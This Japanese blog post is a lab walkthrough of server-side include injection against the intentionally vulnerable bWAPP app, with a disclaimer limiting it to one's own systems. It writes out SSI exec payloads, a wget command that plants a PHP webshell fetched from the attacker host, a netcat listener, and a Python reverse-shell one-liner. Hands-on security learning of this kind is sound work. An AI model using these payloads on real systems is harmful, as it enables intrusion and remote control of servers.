1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

Kali Linux2022.1 でハッキングラボをつくってみる10 ウェブアプリハッキング4 SSIインジェクションによるwebシェル設置

Last updated at Posted at 2022-05-30

はじめに

「ハッキング・ラボのつくりかた」p.631-640を参考にして、KaliLinux2022.1で検証した記事となります。

注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。

SSIインジェクション

SSI(server-side Includes)によるHTML生成に干渉する攻撃。

検証

"http://192.168.56.60/bWAPP/portal.php"にアクセスして、プルダウンメニューから、「Server-Side Includes(SSI) Injection」を選択する。
選択すると、"http://192.168.56.60/bWAPP/ssii.php"に遷移する。
SSI injection
VirtualBox_kali-linux-2022.1-virtualbox-amd64_30_05_2022_16_26_07_SSI1.png

適当に123,123と入力してみた結果は、以下の通り。
VirtualBox_kali-linux-2022.1-virtualbox-amd64_30_05_2022_16_26_41_SSI2.png
出力の1行目は、"Hello, 変数:First name, 変数:Last name"となっている。また、英字を入れると、頭文字が大文字に変換された。

次は、同書に従って、次のような入力を与えた。
First name: <!--#exec cmd="hostname"-->
Last name: <!--#exec cmd="pwd"-->
VirtualBox_kali-linux-2022.1-virtualbox-amd64_30_05_2022_16_44_49_SSI3.png
<!--#exec cmd="コマンド"-->という形でコマンドが実行できた。

リバースシェルを外部からダウンロードできるようにする

KaliLinuxには、Webシェルが保存されている。これを、bee-boxに配置してバックドアにする。
PHPで欠かれたwebシェルを外部からダウンロードできるようにする。

sudo cp /usr/share/webshells/php/php-backdoor.php /var/www/html/
cd /var/www/html/
cp php-backdoor.php php-backdoor.php.txt
sudo systemctl restart apache2

Webシェルの転送

"http://192.168.56.60/bWAPP/ssii.php"に戻って、次のように入力してみる。
First name: <!--#exec cmd="wget http://192.168.56.2/php-backdoor.php.txt -O /var/www/bWAPP/web_shell.php"-->
Last name: test
192.168.56.2はKaliLinux,192.168.56.60はbee-boxのIPアドレスを示す。
VirtualBox_kali-linux-2022.1-virtualbox-amd64_30_05_2022_17_35_03_SSIwebshell1.png
次のような結果となった。testが1行目に表示されるが、First nameに入力したコマンドの結果は、表面上はわからない。コマンドが正常に完了しているなら、"/var/www/bWAPP/"に"web_shell.php"を保存しているので、"http://192.168.56.60/bWAPP/web_shell.php"にアクセスできる。
VirtualBox_kali-linux-2022.1-virtualbox-amd64_30_05_2022_17_45_03_SSIwebshell2.png

リバースシェルの実行

Webシェル(web_shell.php)を通じて、ファイルのアップデートやダウンロードやwebシェルの権限で任意のコマンドを実行できる。(cdコマンドでのディレクトリ移動は不可)しかし、コマンドの結果が遷移した先のwebページで表示されるので、コマンド入力と戻りを繰り返すことになって煩雑である。そこで、bee-box上でリバースシェルを起動させる。
kaliLinuxの端末で、次のコマンドを実行する。

nc -nlvp 4444

netcatで、リバースシェルを受け付ける。
その状態で、web_shell.phpの「execute command:」の入力フォームに、次のコマンドを実行する。

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.2",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

実行結果はこうなる。
VirtualBox_kali-linux-2022.1-virtualbox-amd64_30_05_2022_22_48_00_SSIbindshell3.png
任意のコマンドを実行できる。

ttyシェルの奪取

うまく行かなかったので、省略しました。
ゆえに、tabキーを押下しても、補完はされない状態です。

おわり

参考にしたもの
「ハッキング・ラボのつくりかた」

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?